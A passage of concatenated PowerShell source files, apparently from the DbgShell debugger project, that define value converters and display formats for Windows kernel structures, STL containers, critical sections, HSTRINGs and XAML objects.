ImageFileName string. # $imageFileNameStr = $val.ImageFileName.DbgGetSymbol().ReadAs_szString() if( !$imageFileNameStr ) { $imageFileNameStr = 'System' } elseif( $fullName ) { # Because the "real" ImageFileName is truncated at 15 chars: if we have # the full name, let's use that to get an un-truncated version. $imageFileNameStr = [System.IO.Path]::GetFileName( $fullName ) } $val.DbgReplaceMemberValue( 'ImageFileName', $imageFileNameStr ) # # Mark the fact that this converter has been applied: # InsertTypeNameBefore -InputObject $val ` -NewTypeName 'ConverterApplied:_EPROCESS' ` -Before 'nt!_EPROCESS' return $val } finally { } } # end _EPROCESS converter New-DbgValueConverterInfo -TypeName 'nt!_KTHREAD' -Converter { try { # N.B. We make a copy of the stock value, because it would be really bad if we # modified the stock value! # $_ is the symbol $val = $_.GetStockValue().PSObject.Copy() $commonParams = @{ 'InputObject' = $val; 'MemberType' = 'NoteProperty' } # # 'State' is stored as a byte. Let's change the type to nt!_KTHREAD_STATE. # # TODO: Should we cache this type info? $t = dt 'nt!_KTHREAD_STATE' if( !$t ) { Write-Error "Could not find type 'nt!_KTHREAD_STATE'." return $null # signals that we can't do the conversion. } try { $newSym = $val.State.DbgGetSymbol().ChangeType( $t ) $val.DbgReplaceMemberValue( 'State', $newSym.Value ) } catch { # We could be looking at bad data. # # In that case, should we replace with an error? Or just leave it? $problem = $_ $val.DbgReplaceMemberValue( 'State', $problem ) } # # Mark the fact that this converter has been applied: # InsertTypeNameBefore -InputObject $val ` -NewTypeName 'ConverterApplied:_KTHREAD' ` -Before 'nt!_KTHREAD' return $val } finally { } } # end _KTHREAD converter } ================================================ FILE: DbgShell/x64/Debugger/Debugger.Converters.WinRT.ps1 ================================================ Register-DbgValueConverterInfo { Set-StrictMode -Version Latest New-DbgValueConverterInfo -TypeName @( '!Platform::Guid' ) -Converter { try { # $_ is the symbol $sym = $_ return $sym.ReadAs_Guid() } finally { } } # end Guid converter } ================================================ FILE: DbgShell/x64/Debugger/Debugger.Converters.stl.ps1 ================================================ Register-DbgValueConverterInfo { Set-StrictMode -Version Latest New-DbgValueConverterInfo -TypeName '!std::basic_string' -Converter { try { # $_ is the symbol $stockValue = $_.GetStockValue() # Handle Dev14 types: if( $stockValue.PSObject.Properties.Match( '_Mypair' ).Count ) { # New in Dev14 (VS 2015) $stockValue = $stockValue._Mypair._Myval2 } # What size characters are we dealing with? $charSize = $stockValue._Bx._Ptr.DbgGetSymbol().Type.PointeeType.Size if( ($charSize -ne 1) -and ($charSize -ne 2) ) { # Unusual character size. return $null # this means that we couldn't convert it } # Small-string optimization: will it fit into the buffer? # +1 for terminating null. if( (($stockValue._Mysize + 1) * $charSize) -le ($stockValue._Bx._Buf.DbgGetSymbol().Type.Size) ) # Or should I just hardcode 16? { if( 1 -eq $charSize ) { return $stockValue._Bx._Buf.DbgGetSymbol().ReadAs_szString() } else { return $stockValue._Bx._Buf.DbgGetSymbol().ReadAs_wszString() } } else { return $stockValue._Bx._Ptr } } finally { } } New-DbgValueConverterInfo -TypeName '!std::vector' -Converter { try { # $_ is the symbol $stockValue = $_.GetStockValue() # Handle Dev14 types: if( $stockValue.PSObject.Properties.Match( '_Mypair' ).Count ) { # New in Dev14 (VS 2015) $stockValue = $stockValue._Mypair._Myval2 } $val = $null [bool] $unallocatedEmpty = $false if( $stockValue._Myfirst.DbgIsNull() ) { $unallocatedEmpty = $true $val = New-Object 'System.Collections.Generic.List[PSObject]' -ArgumentList @( 0 ) } else { $unallocatedEmpty = $false $elemType = $stockValue._Myfirst.DbgGetSymbol().Type.PointeeType $numElements = $stockValue._Mylast - $stockValue._Myfirst # N.B. Pointer arithmetic (takes element size into account) $val = New-Object 'System.Collections.Generic.List[PSObject]' -ArgumentList @( $numElements ) for( [int] $i = 0; $i -lt $numElements; $i++ ) { $name = $_.Name + '[' + $i.ToString() + ']' # N.B. Pointer arithmetic: $elem = Get-DbgSymbolValue -Address ($stockValue._Myfirst + $i) ` -Type $elemType ` -NameForNewSymbol $name $null = $val.Add( $elem ) } } $val = $val.AsReadOnly() if( $unallocatedEmpty ) { Add-Member -InputObject $val -MemberType ScriptMethod -Name 'capacity' -Value { 0 } Add-Member -InputObject $val -MemberType ScriptMethod -Name 'size' -Value { 0 } } else { $capacity = $stockValue._MyEnd - $stockValue._Myfirst # N.B. Pointer arithmetic Add-Member -InputObject $val -MemberType ScriptMethod -Name 'capacity' -Value { $capacity }.GetNewClosure() Add-Member -InputObject $val -MemberType ScriptMethod -Name 'size' -Value { $numElements }.GetNewClosure() } Add-Member -InputObject $val -MemberType ScriptMethod -Name 'ToString' -Value { $stockValue.ToString() }.GetNewClosure() -Force Write-Collection -Collection $val } finally { } } # end vector converter # vector is specialized, and so needs its own specialized converter. New-DbgValueConverterInfo -TypeName '!std::vector' -Converter { try { # $_ is the symbol $sym = $_ $stockValue = $sym.GetStockValue() $bitArray = $null if( 0 -eq $stockValue._Mysize ) { $bitArray = new-object 'MS.Dbg.FreezableBitArray' -arg @( 0 ) } else { # When I wrote the old VS12 code, I must not have realized that I could just # pass _Myvec directly to the FreezableBitArray constructor (PS is able to # coerce the type enough). # # $rawVector = $sym.Children[ '_Myvec' ]. # Children[ '_MyFirst' ]. # Children[ 0 ]. # follow pointer # ReadAs_TArray( $stockValue._Myvec.Count, [int] ) $bitArray = new-object 'MS.Dbg.FreezableBitArray' -arg @( $stockValue._Mysize, $stockValue._Myvec ) } $bitArray.Freeze() Write-Collection -Collection $bitArray } finally { } } # end vector converter # We need to protect against bad/unavailable data, without completely giving up on the # whole tree. function ChildLooksOkay( $rootAddr, [string] $which, $child ) { if( $child.DbgIsNull() ) { Write-Warning "$which child unexpectedly null for node at $(Format-DbgAddress $rootAddr)." return $false } elseif( $child.DbgGetPointee() -is [MS.Dbg.DbgUnavailableValue] ) { Write-Warning "$which child value unavailable for node at $(Format-DbgAddress $rootAddr)." return $false } elseif( $child._Isnil -ne 0 ) { Write-Warning "$which child _Isnil unexpectedly non-zero for node at $(Format-DbgAddress $rootAddr)." return $false } return $true } # end ChildLooksOkay() function ProcessSubtree( $rootNode, $scriptBlockForRootVal ) { # We'll process them in the proper order: left subtreee, current # node, right subtree. if( $dummyHead -ne $rootNode._Left ) { # We need to protect against bad/unavailable data. if( (ChildLooksOkay $rootNode.DbgGetPointer() 'Left' $rootNode._Left) ) { ProcessSubtree $rootNode._Left $scriptBlockForRootVal } } & $scriptBlockForRootVal $rootNode._Myval if( $dummyHead -ne $rootNode._Right ) { # We need to protect against bad/unavailable data. if( (ChildLooksOkay $rootNode.DbgGetPointer() 'Right' $rootNode._Right) ) { ProcessSubtree $rootNode._Right $scriptBlockForRootVal } } } # end ProcessSubtree New-DbgValueConverterInfo -TypeName @( '!std::map', '!std::multimap' ) -Converter { # map and multimap are basically the same (for our purposes), except one can have # duplicate keys. The PsIndexedDictionary can handle that. try { # $_ is the symbol $stockValue = $_.GetStockValue() # Handle Dev14 types: if( $stockValue.PSObject.Properties.Match( '_Mypair' ).Count ) { # New in Dev14 (VS 2015) # I don't know why there are two layers of _Myval2 here... $stockValue = $stockValue._Mypair._Myval2._Myval2 } # This "root" node does not have a value, and is used as a sentinel (sub-tree pointers # point to the root to mean "no sub-tree"). $dummyHead = $stockValue._Myhead <#assert#> if( $dummyHead._Isnil -ne 1 ) { throw "Expected dummy root to be 'nil'" } $d = New-Object "MS.Dbg.PsIndexedDictionary" -ArgumentList @( $stockValue._Mysize ) # We'll do a recursive traversal of the tree, using this function: if( 0 -ne $stockValue._Mysize ) { ProcessSubtree $dummyHead._Parent { $d.Add( $args[ 0 ].first, $args[ 0 ].second ) } } Add-Member -InputObject $d -MemberType ScriptMethod -Name 'ToString' -Value { $stockValue.ToString() }.GetNewClosure() -Force $d.Freeze() Write-Collection -Collection $d } finally { } } -CaptureContext # end map converter New-DbgValueConverterInfo -TypeName '!std::set', '!std::multiset' -Converter { # Sets are pretty much just like maps, but no key/value distinction (no # _Myval.first, _Myval.second--it's just _Myval). # # TODO: Factor out shared script once we have got script sharing worked out. try { # $_ is the symbol $stockValue = $_.GetStockValue() # Handle Dev14 types: if( $stockValue.PSObject.Properties.Match( '_Mypair' ).Count ) { # New in Dev14 (VS 2015) # I don't know why there are two layers of _Myval2 here... $stockValue = $stockValue._Mypair._Myval2._Myval2 } # This "root" node does not have a value, and is used as a sentinel (sub-tree pointers # point to the root to mean "no sub-tree"). $dummyHead = $stockValue._Myhead <#assert#> if( $dummyHead._Isnil -ne 1 ) { throw "Expected dummy root to be 'nil'" } # Since sets are ordered, and we also don't want to have problems with # the default comparer tossing out values as duplicate, we'll just use # a simple list to represent the set. $list = New-Object "System.Collections.Generic.List[PSObject]" -ArgumentList @( $stockValue._Mysize ) # We'll do a recursive traversal of the tree, using this function: if( 0 -ne $stockValue._Mysize ) { ProcessSubtree $dummyHead._Parent { $list.Add( $args[ 0 ] ) } } $list = $list.AsReadOnly() Add-Member -InputObject $list -MemberType ScriptMethod -Name 'ToString' -Value { $stockValue.ToString() }.GetNewClosure() -Force Write-Collection -Collection $list } finally { } } -CaptureContext # end set converter New-DbgValueConverterInfo -TypeName '!std::list' -Converter { try { # $_ is the symbol $stockValue = $_.GetStockValue() # Handle Dev14 types: if( $stockValue.PSObject.Properties.Match( '_Mypair' ).Count ) { # New in Dev14 (VS 2015) $stockValue = $stockValue._Mypair._Myval2 } # This "root" node does not have a [valid] value, and is used as a sentinel (the # first and last list elements point to it from their _Prev and _Next pointers). $dummyHead = $stockValue._Myhead # It's a bi-directional linked list. head._Prev points to the end of the list, and # head._Next points to the first of the list. $list = New-Object "System.Collections.Generic.List[PSObject]" -ArgumentList @( $stockValue._Mysize ) if( 0 -ne $stockValue._Mysize ) { $curNode = $dummyHead._Next do { $list.Add( $curNode._Myval ) $curNode = $curNode._Next } while( $curNode -ne $dummyHead ) } <# assert #> if( $list.Count -ne $stockValue._Mysize ) { throw "sizes don't match!" } $list = $list.AsReadOnly() Add-Member -InputObject $list -MemberType ScriptMethod -Name 'ToString' -Value { $stockValue.ToString() }.GetNewClosure() -Force Write-Collection -Collection $list } finally { } } # end list converter New-DbgValueConverterInfo -TypeName '!std::forward_list' -Converter { try { # $_ is the symbol $stockValue = $_.GetStockValue() # Handle Dev14 types: if( $stockValue.PSObject.Properties.Match( '_Mypair' ).Count ) { # New in Dev14 (VS 2015) $stockValue = $stockValue._Mypair._Myval2 } # It's a unidirectional linked list. $list = New-Object "System.Collections.Generic.List[PSObject]" $curNode = $stockValue._Myhead while( !$curNode.DbgIsNull() ) { $list.Add( $curNode._Myval ) $curNode = $curNode._Next } $list = $list.AsReadOnly() # Preserve the original ToString() so we get the type name 'n stuff: Add-Member -InputObject $list ` -MemberType ScriptMethod ` -Name 'ToString' ` -Value { $stockValue.ToString() }.GetNewClosure() ` -Force # Use Write-Collection to prevent PS from unrolling the collection. Write-Collection -Collection $list } finally { } } # end forward_list converter New-DbgValueConverterInfo -TypeName @( '!stdext::hash_map', '!std::unordered_map') -Converter { try { # $_ is the symbol $stockValue = $_.GetStockValue() # It has some fancy stuff... but it also has a list for easy iteration. We'll # just use that. $d = New-Object "MS.Dbg.PsIndexedDictionary" -ArgumentList @( $stockValue._List.Count ) foreach( $pair in $stockValue._List ) { $d.Add( $pair.first, $pair.second ) } $d.Freeze() Add-Member -InputObject $d -MemberType ScriptMethod -Name 'ToString' -Value { $stockValue.ToString() }.GetNewClosure() -Force Write-Collection -Collection $d } finally { } } # end hash_map converter New-DbgValueConverterInfo -TypeName '!std::unique_ptr' -Converter { try { # $_ is the symbol $stockValue = $_.GetStockValue() # Handle Dev14 types: if( $stockValue.PSObject.Properties.Match( '_Mypair' ).Count ) { # New in Dev14 (VS 2015) return $stockValue._Mypair._Myval2 } else { # unique_ptr is just a resource management wrapper around a pointer. We can make # things easier to see in the debugger by just hiding the unique_ptr layer (which # has nothing in it anyway; just the pointer). return $stockValue._Myptr } } finally { } } # end unique_ptr converter New-DbgValueConverterInfo -TypeName '!std::tr2::sys::basic_path' -Converter { try { # $_ is the symbol $stockValue = $_.GetStockValue() # There's only one member: return $stockValue._Mystr } finally { } } # end basic_path converter } ================================================ FILE: DbgShell/x64/Debugger/Debugger.Converters.win32.ps1 ================================================ Register-DbgValueConverterInfo { Set-StrictMode -Version Latest New-DbgValueConverterInfo -TypeName '!_RTL_CRITICAL_SECTION' -Converter { try { # N.B. We make a copy of the stock value, because it would be really bad if we # modified the stock value! # $_ is the symbol $val = $_.GetStockValue().PSObject.Copy() [bool] $isLocked = $false $waiterWoken = $null $numWaitingThreads = $null # Is it a "new-style" critsec? # TODO: When did "new-style" critsecs show up? Do I really need to care about "old-style"? [bool] $isNewStyleCritsec = ($null -ne (Get-DbgSymbol 'ntdll!RtlIsCriticalSectionLocked*')) if( $isNewStyleCritsec ) { $isLocked = 0 -eq ($val.LockCount -band 0x01) $waiterWoken = 0 -eq ($val.LockCount -band 0x02) $numWaitingThreads = (-1 - $val.LockCount) -shr 2 } else { $isLocked = $val.LockCount -ge 0 } $owningThreadDbgId = 0 try { [UInt32] $owningThreadSysTid = ([UInt32] ([UInt64] $val.OwningThread)) if( 0 -ne $owningThreadSysTid ) { $owningThreadDbgId = $Debugger.GetThreadDebuggerIdBySystemTid( $owningThreadSysTid ) } } catch { $problem = $_ # We could be looking at bad data. # Is this okay, using a ColorString instead of, say, 0xdeadbeef? $owningThreadDbgId = New-ColorString -Foreground 'Red' -Content '' } $commonParams = @{ 'InputObject' = $val; 'MemberType' = 'NoteProperty' } Add-Member @commonParams -Name 'IsLocked' -Value $isLocked Add-Member @commonParams -Name 'WaiterWoken' -Value $waiterWoken Add-Member @commonParams -Name 'NumWaitingThreads' -Value $numWaitingThreads Add-Member @commonParams -Name 'OwningThreadDbgId' -Value $owningThreadDbgId InsertTypeNameBefore -InputObject $val ` -NewTypeName 'ConverterApplied:_RTL_CRITICAL_SECTION' ` -Before '!_RTL_CRITICAL_SECTION' return $val } finally { } } # end _RTL_CRITICAL_SECTION converter } ================================================ FILE: DbgShell/x64/Debugger/Debugger.Converters.wrl.ps1 ================================================ Register-DbgValueConverterInfo { Set-StrictMode -Version Latest # We will use this "module" as a place to store stuff across invocations--namely, the # HSTRING_HEADER_INTERNAL type info. $wrlConverterCacheMod = New-Module { } & $wrlConverterCacheMod { $script:HSTRING_HEADER_INTERNAL_type = $null } # # TODO: BUGBUG: I should probably get rid of this caching stuff, because it won't work # for scenarios like 1) attach to x64 target, 2) dump an HSTRING, 3) detach, 4) attach # to an x86 target, 5) dump an HSTRING. But it's a really nice example of how to use # -CaptureContext and script-level stuff to store info. # # This function will get the type info out of the $wrlConverterCacheMod, or cache it # there if it hasn't been fetched yet. function _GetHstringHeaderType() { $headerType = & $wrlConverterCacheMod { $script:HSTRING_HEADER_INTERNAL_type } if( $null -eq $headerType ) { # This commented-out line is handy to convince yourself that we really only # load it once. #[Console]::WriteLine( "Trying to get HSTRING_HEADER_INTERNAL type..." ) $headerType = dt 'combase!HSTRING_HEADER_INTERNAL' -TypesOnly if( !$headerType ) { # TODO: Will this happen for public symbols? Maybe people should be # able to read strings even without private symbols. return } else { & $wrlConverterCacheMod { $script:HSTRING_HEADER_INTERNAL_type = $args[ 0 ] } $headerType } } return $headerType } New-DbgValueConverterInfo -TypeName @( '!HSTRING__', '!Platform::String' )-Converter { try { # $_ is the symbol $sym = $_ $headerType = _GetHstringHeaderType if( $null -eq $headerType ) { # TODO: Will this happen for public symbols? Maybe people should be able # to read strings even without private symbols. return $sym.StockValue } $header = dt $sym.Address $headerType $str = '' if( !$header.stringRef.DbgIsNull() ) { # Just using $header.stringRef would work fine, except there might be # embedded nulls. $str = $Debugger.ReadMemAs_UnicodeString( $header.stringRef.DbgGetPointer(), ($header.length * 2) ) } $str = Add-Member -InputObj $str -MemberType 'NoteProperty' -Name 'Header' -Value $header -PassThru return $str } finally { } } -CaptureContext # end HSTRING__ converter } ================================================ FILE: DbgShell/x64/Debugger/Debugger.Converters.xaml.ps1 ================================================ Register-DbgValueConverterInfo { Set-StrictMode -Version Latest New-DbgValueConverterInfo -TypeName '!CXString' -Converter { try { # $_ is the symbol $sym = $_ $stockValue = $sym.GetStockValue() # TODO: I don't actually know where CXString is defined, so I don't # know what a bunch of this stuff is about... # TODO: What is that low bit for? $ptr = $stockValue.pString.DbgGetPointer() -band (-bnot ([UInt64] 1)) $str = $Debugger.ReadMemAs_UnicodeString( $ptr, ($stockValue.cString * 2) ) # TODO: What do the flags mean? For now I'll just stick 'em on. $str = Add-Member -InputObject $str -MemberType NoteProperty -Name 'flags' -Value $stockValue.flags -Force -PassThru return $str } finally { } } # end CXString converter New-DbgValueConverterInfo -TypeName 'Windows_UI_Xaml!CDependencyObject' -Converter { try { # $_ is the symbol $sym = $_ # N.B. We make a copy of the stock value, because it would be really bad if we # modified the stock value! # $_ is the symbol $val = $_.GetStockValue().PSObject.Copy() [string] $name = spoi $val.m_pstrName # Not all dependency objects have a class name (for instance, HWCompTreeNode), # but I'll stick a ClassName property on them all for convenience. # # (The call to DbgGetOperativeSymbol() is so that we get the detected derived type, # not the declared type (which is CDependencyObject, which does not have an # m_pClassName member)). [string] $className = '' if( $val.DbgGetOperativeSymbol().Type.Members.HasItemNamed( 'm_pClassName' ) ) { $className = spoi $val.m_pClassName } Add-Member -InputObj $val -Name 'Name' -MemberType NoteProperty -Value $name Add-Member -InputObj $val -Name 'ClassName' -MemberType NoteProperty -Value $className Add-Member -InputObj $val -Name 'Children' -MemberType ScriptProperty -Value { if( $val.m_pChildren -eq 0 ) { # Children pointer is null. return } if( $val.m_pChildren.m_ppBlock -ne 0 ) { Write-Warning "I'm not sure what to do with non-null m_ppBlock." } for( [int] $i = 0; $i -lt $val.m_pChildren.m_nObject; $i++ ) { poi $val.m_pChildren.m_pFlattened[ $i ] } }.GetNewClosure() # end 'Children' synthetic property return $val } finally { } } # end Windows_UI_Xaml!CDependencyObject converter } ================================================ FILE: DbgShell/x64/Debugger/Debugger.DebuggeeTypes.NT.psfmt ================================================ # # Format definitions: these are analogous to the entries in a .ps1xml, # except they are consumed by our alternate formatting engine, not the built-in # PowerShell formatting engine. # # The definitions in this file are specifically for "debugee types"-- # definitions of how to display values in the debuggee. The type names # typically have a "!" in them, and can be module-qualified (but do not have to # be). The alternate formatting engine can find these view definitions because # the alternate formatting engine use the "TypeNames" list of a PSObject to # look up view definitions, and the debugger module inserts the debuggee type # names into the "TypeNames" list of PSObjects that it generates to represent # objects in the debuggee. # Register-AltTypeFormatEntries { New-AltTypeFormatEntry -TypeName 'nt!_EPROCESS' { # A note about single-line view definitions (AltSingleLineViewDefinition): # # These type of formatting definitions are "special", in that the # Out-Default proxy will never choose to use the alternate formatting # engine based on the presence of a single-line view definition--you # have to call Format-AltSingleLine explicitly for these to be used. New-AltSingleLineViewDefinition { $cs = New-ColorString $cs.Append( (Format-DbgAddress $_.DbgGetOperativeSymbol().Address) ). Append( ' (0x' ). Append( ($_.UniqueProcessId.DbgGetPointer().ToString( 'x' )) ). Append( ') ' ). AppendPushPopFg( [ConsoleColor]::White, $_.ImageFileName.DbgGetSymbol().ReadAs_szString() ) } # end AltSingleLineViewDefinition New-AltTableViewDefinition -ShowIndex { New-AltColumns { New-AltScriptColumn -Label 'Address' -Width 17 -Alignment Left -Tag 'Address' -Script { Format-DbgAddress $_.DbgGetOperativeSymbol().Address } # New-AltScriptColumn -Label 'Ses' -Width 3 -Alignment Right -Script { # $_.Session.SessionId # } # New-AltScriptColumn -Label 'PEB' -Width 17 -Alignment Left -Tag 'Address' -Script { # Format-DbgAddress $_.Peb.DbgGetPointer() # } New-AltScriptColumn -Label 'Cid' -Width 5 -Alignment Right -Script { $_.UniqueProcessId.DbgGetPointer().ToString( 'x' ) } New-AltScriptColumn -Label 'Parent' -Width 6 -Alignment Right -Script { $_.InheritedFromUniqueProcessId.DbgGetPointer().ToString( 'x' ) } # TODO: HandleCount (virtual property), what else? New-AltScriptColumn -Label 'Image' -Alignment Left -Script { # TODO: sym value converter should add FullImageName property # and make ImageFileName a string $_.ImageFileName.DbgGetSymbol().ReadAs_szString() } } # End Columns } # end AltTableViewDefinition } # end Type !_EPROCESS New-AltTypeFormatEntry -TypeName 'ConverterApplied:_EPROCESS' { New-AltSingleLineViewDefinition { $cs = New-ColorString $cs.Append( (Format-DbgAddress $_.DbgGetOperativeSymbol().Address) ). Append( ' (0x' ). Append( ($_.UniqueProcessId.DbgGetPointer().ToString( 'x' )) ). Append( ') ' ). AppendPushPopFg( [ConsoleColor]::White, $_.ImageFileName ) } # end AltSingleLineViewDefinition New-AltTableViewDefinition -ShowIndex { New-AltColumns { New-AltScriptColumn -Label 'Address' -Width 17 -Alignment Left -Tag 'Address' -Script { Format-DbgAddress $_.DbgGetOperativeSymbol().Address } New-AltScriptColumn -Label 'Ses' -Width 3 -Alignment Right -Script { if( !$_.Session.DbgIsNull() ) { if( 0 -eq $_.Session.SessionId ) { New-ColorString -Content '0' -Fore Blue } else { $_.Session.SessionId } } else { '-' } } New-AltScriptColumn -Label 'Cid' -Width 5 -Alignment Right -Script { $_.UniqueProcessId.DbgGetPointer().ToString( 'x' ) } New-AltScriptColumn -Label 'Parent' -Width 6 -Alignment Right -Script { $_.InheritedFromUniqueProcessId.DbgGetPointer().ToString( 'x' ) } New-AltScriptColumn -Label 'Handles' -Width 7 -Alignment Right -Script { if( $null -eq $_.HandleCount ) { return New-ColorString -Content ' - ' -Foreground Magenta } $_.HandleCount } New-AltScriptColumn -Label 'Image' -Alignment Left -Script { if( $_.BreakOnTermination ) { # It's a "critical" process (exit --> bugcheck). New-ColorString -Content $_.ImageFileName -Fore Magenta } else { $_.ImageFileName } } # TODO: Elapsed time? Commit charge? Virtual size? Thread count? GUI? # User? Current process indicator? } # End Columns } # end AltTableViewDefinition } # end Type ConverterApplied:_EPROCESS New-AltTypeFormatEntry -TypeName 'nt!_ETHREAD' { # A note about single-line view definitions (AltSingleLineViewDefinition): # # These type of formatting definitions are "special", in that the # Out-Default proxy will never choose to use the alternate formatting # engine based on the presence of a single-line view definition--you # have to call Format-AltSingleLine explicitly for these to be used. New-AltSingleLineViewDefinition { $cs = (New-ColorString). Append( (Format-DbgTypeName 'ETHREAD') ). Append( ' ' ). Append( (Format-DbgAddress $_.DbgGetOperativeSymbol().Address) ). Append( ' (' ). AppendPushPopFg( [ConsoleColor]::DarkGray, ($_.Cid.UniqueProcess.DbgGetPointer().ToString( 'x' )) ). Append( '.' ). AppendPushPopFg( [ConsoleColor]::White, ($_.Cid.UniqueThread.DbgGetPointer().ToString( 'x' )) ). Append( ') ' ) $t = dt nt!_KTHREAD_STATE if( $t.ByName.Running -eq $_.Tcb.State ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Green, 'RUNNING' ). Append( ' on processor ' ). AppendPushPopFg( [ConsoleColor]::White, $_.Tcb.NextProcessor ) } elseif( $t.ByName.Ready -eq $_.Tcb.State ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::DarkGreen, 'Ready' ). Append( ' on processor ' ). Append( $_.Tcb.NextProcessor ) } elseif( $t.ByName.Waiting -eq $_.Tcb.State ) { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Yellow, 'WAIT' ) } else { $cs = $cs.AppendPushPopFg( [ConsoleColor]::Magenta, $_.Tcb.State.ToColorStringSimple().ToString() ) } return $cs } # end AltSingleLineViewDefinition New-AltTableViewDefinition -ShowIndex { New-AltColumns { New-AltScriptColumn -Label 'Address' -Width 17 -Alignment Left -Tag 'Address' -Script { Format-DbgAddress $_.DbgGetOperativeSymbol().Address } New-AltScriptColumn -Label 'Cid.Tid' -Width 9 -Alignment Right -Script { (New-ColorString -Content $_.Cid.UniqueProcess.DbgGetPointer().ToString( 'x' ) -Fore DarkGray). Append( '.' ). AppendPushPopFg( [ConsoleColor]::White, ($_.Cid.UniqueThread.DbgGetPointer().ToString( 'x' )) ) } } # End Columns } # end AltTableViewDefinition } # end Type !_ETHREAD } # end TypeEntries ================================================ FILE: DbgShell/x64/Debugger/Debugger.DebuggeeTypes.Win32.psfmt ================================================ # # Format definitions: these are analogous to the entries in a .ps1xml, # except they are consumed by our alternate formatting engine, not the built-in # PowerShell formatting engine. # # The definitions in this file are specifically for "debugee types"-- # definitions of how to display values in the debuggee. The type names # typically have a "!" in them, and can be module-qualified (but do not have to # be). The alternate formatting engine can find these view definitions because # the alternate formatting engine use the "TypeNames" list of a PSObject to # look up view definitions, and the debugger module inserts the debuggee type # names into the "TypeNames" list of PSObjects that it generates to represent # objects in the debuggee. # Register-AltTypeFormatEntries { # N.B. These view definitions only apply to _RTL_CRITICAL_SECTION objects that have # had the _RTL_CRITICAL_SECTION value converter applied. New-AltTypeFormatEntry -TypeName 'ConverterApplied:_RTL_CRITICAL_SECTION' { # A note about single-line view definitions (AltSingleLineViewDefinition): # # These type of formatting definitions are "special", in that the # Out-Default proxy will never choose to use the alternate formatting # engine based on the presence of a single-line view definition--you # have to call Format-AltSingleLine explicitly for these to be used. New-AltSingleLineViewDefinition { # It could be an object /derived/ from _RTL_CRITICAL_SECTION. Let's show the actual type: $realSymType = (New-ColorString).Append( (Get-TypeName $_.DbgGetOperativeSymbol()) ) # The DbgUdtValue formatting code pre-screens for unavailable # values; we can assume the value is available here. if( !$_.IsLocked ) { return $realSymType.Append( ': ' ).AppendPushPopFg( [ConsoleColor]::Green, 'Not locked.' ) } else { return $realSymType.Append( ': ' ).AppendPushPopFg( [ConsoleColor]::Yellow, "LOCKED, by thread: $($_.OwningThreadDbgId)" ) } } # end AltSingleLineViewDefinition } # end Type !_RTL_CRITICAL_SECTION New-AltTypeFormatEntry -TypeName '!_ULARGE_INTEGER' { New-AltSingleLineViewDefinition { (Format-DbgTypeName '_ULARGE_INTEGER'). Append( ' QuadPart: ' ). Append( (Format-DbgUInt64 $_.QuadPart) ) } # end AltSingleLineViewDefinition } # end Type !_ULARGE_INTEGER New-AltTypeFormatEntry -TypeName '!_LARGE_INTEGER' { New-AltSingleLineViewDefinition { (Format-DbgTypeName '_LARGE_INTEGER'). Append( ' QuadPart: ' ). # TODO: hmm... dbgeng still uses hex here. Should I follow suit? Append( $_.QuadPart.ToString() ) } # end AltSingleLineViewDefinition } # end Type !_LARGE_INTEGER # TODO: Does this cover everything? Maybe I should just apply to System.Boolean... New-AltTypeFormatEntry -TypeName '!bool' { New-AltSingleLineViewDefinition { New-ColorString -Content "$_" -Foreground Magenta } # end AltSingleLineViewDefinition } # end Type !bool New-AltTypeFormatEntry -TypeName '!_LIST_ENTRY' { New-AltSingleLineViewDefinition { (Format-DbgTypeName '_LIST_ENTRY'). AppendPushPopFg( [ConsoleColor]::Cyan, ' [ ' ). Append( (Format-DbgAddress $_.Flink.DbgGetPointer()) ). AppendPushPopFg( [ConsoleColor]::Cyan, ' - ' ). Append( (Format-DbgAddress $_.Blink.DbgGetPointer()) ). AppendPushPopFg( [ConsoleColor]::Cyan, ' ]' ) } # end AltSingleLineViewDefinition } # end Type !_LIST_ENTRY New-AltTypeFormatEntry -TypeName '!_FILETIME' { New-AltSingleLineViewDefinition { [Int64] $i64 = $_.dwLowDateTime + (([Int64]$_.dwHighDateTime) -shl 32) $dt = [DateTime]::FromFileTimeUtc( $i64 ) (Format-DbgTypeName '_FILETIME'). AppendPushPopFg( [ConsoleColor]::Cyan, ' [ ' ). #Append( (Format-DbgAddress $_.DbgGetSymbol().ReadAs_UInt64() -Is32bit $false) ). Append( (Format-DbgUInt64 $i64) ). AppendPushPopFg( [ConsoleColor]::Cyan, ' ] ' ). Append( $dt.ToString( 'F' ) ) } # end AltSingleLineViewDefinition } # end Type !_FILETIME # What about _STRING? New-AltTypeFormatEntry -TypeName @( '!_UNICODE_STRING', '!_LUNICODE_STRING', '!_LUTF8_STRING', '!_STRING' ) { New-AltSingleLineViewDefinition { $sym = $_.DbgGetSymbol() $cs = (New-ColorString).Append( $sym.Type.ColorName ). AppendPushPopFg( [ConsoleColor]::DarkCyan, " $($_.Length)" ). Append( '/' ). AppendPushPopFg( [ConsoleColor]::DarkCyan, "$($_.MaximumLength)" ). Append( ': ' ) if( $_.Length -gt 0 ) { # On win7 x86, _UNICODE_STRING.Buffer shows up as "wchar_t*", # so we've already automagically turned it into a string. But # on win8 x64, it shows up as an "unsigned short*". So we'll # just use the pointer value to handle all cases. # [string] $str = '' $encoding = [System.Text.Encoding]::Unicode if( $sym.Type.Name.IndexOf( 'UTF8' ) -ge 0 ) { $encoding = [System.Text.Encoding]::Utf8 } elseif( $_.Buffer.DbgGetSymbol().Type.PointeeType.Size -eq 1 ) { $encoding = [System.Text.Encoding]::ASCII } try { $str = $Debugger.ReadMemAs_String( $_.Buffer.DbgGetPointer(), $_.Length, $encoding ) # TODO: Hmm... would be nice if we could determine how # much buffer width we had left to consume. $str = Truncate $str 30 $cs = $cs.Append( '"' ).AppendPushPopFg( [ConsoleColor]::Cyan, $str ).Append( '"' ) } catch { $cs.AppendPushPopFg( [ConsoleColor]::Red, "" ) } } else { $cs = $cs.Append( '""' ) } $cs } # end AltSingleLineViewDefinition } # end Type !_UNICODE_STRING, !_LUNICODE_STRING, !_LUTF8_STRING, !_STRING New-AltTypeFormatEntry -TypeName '!_PROCESSOR_NUMBER' { New-AltSingleLineViewDefinition { (Format-DbgTypeName '_PROCESSOR_NUMBER'). Append( ': ' ). Append( $_.Group.ToString() ). Append( ',' ). Append( $_.Number.ToString() ). Append( ',' ). Append( $_.Reserved.ToString() ) } # end AltSingleLineViewDefinition } # end Type !_PROCESSOR_NUMBER New-AltTypeFormatEntry -TypeName '!_TEB' { New-AltSingleLineViewDefinition { # TODO: Generalize into reusable function? if( $_.PSObject.Properties[ 'CountOfOwnedCriticalSections' ] -eq $null ) { return 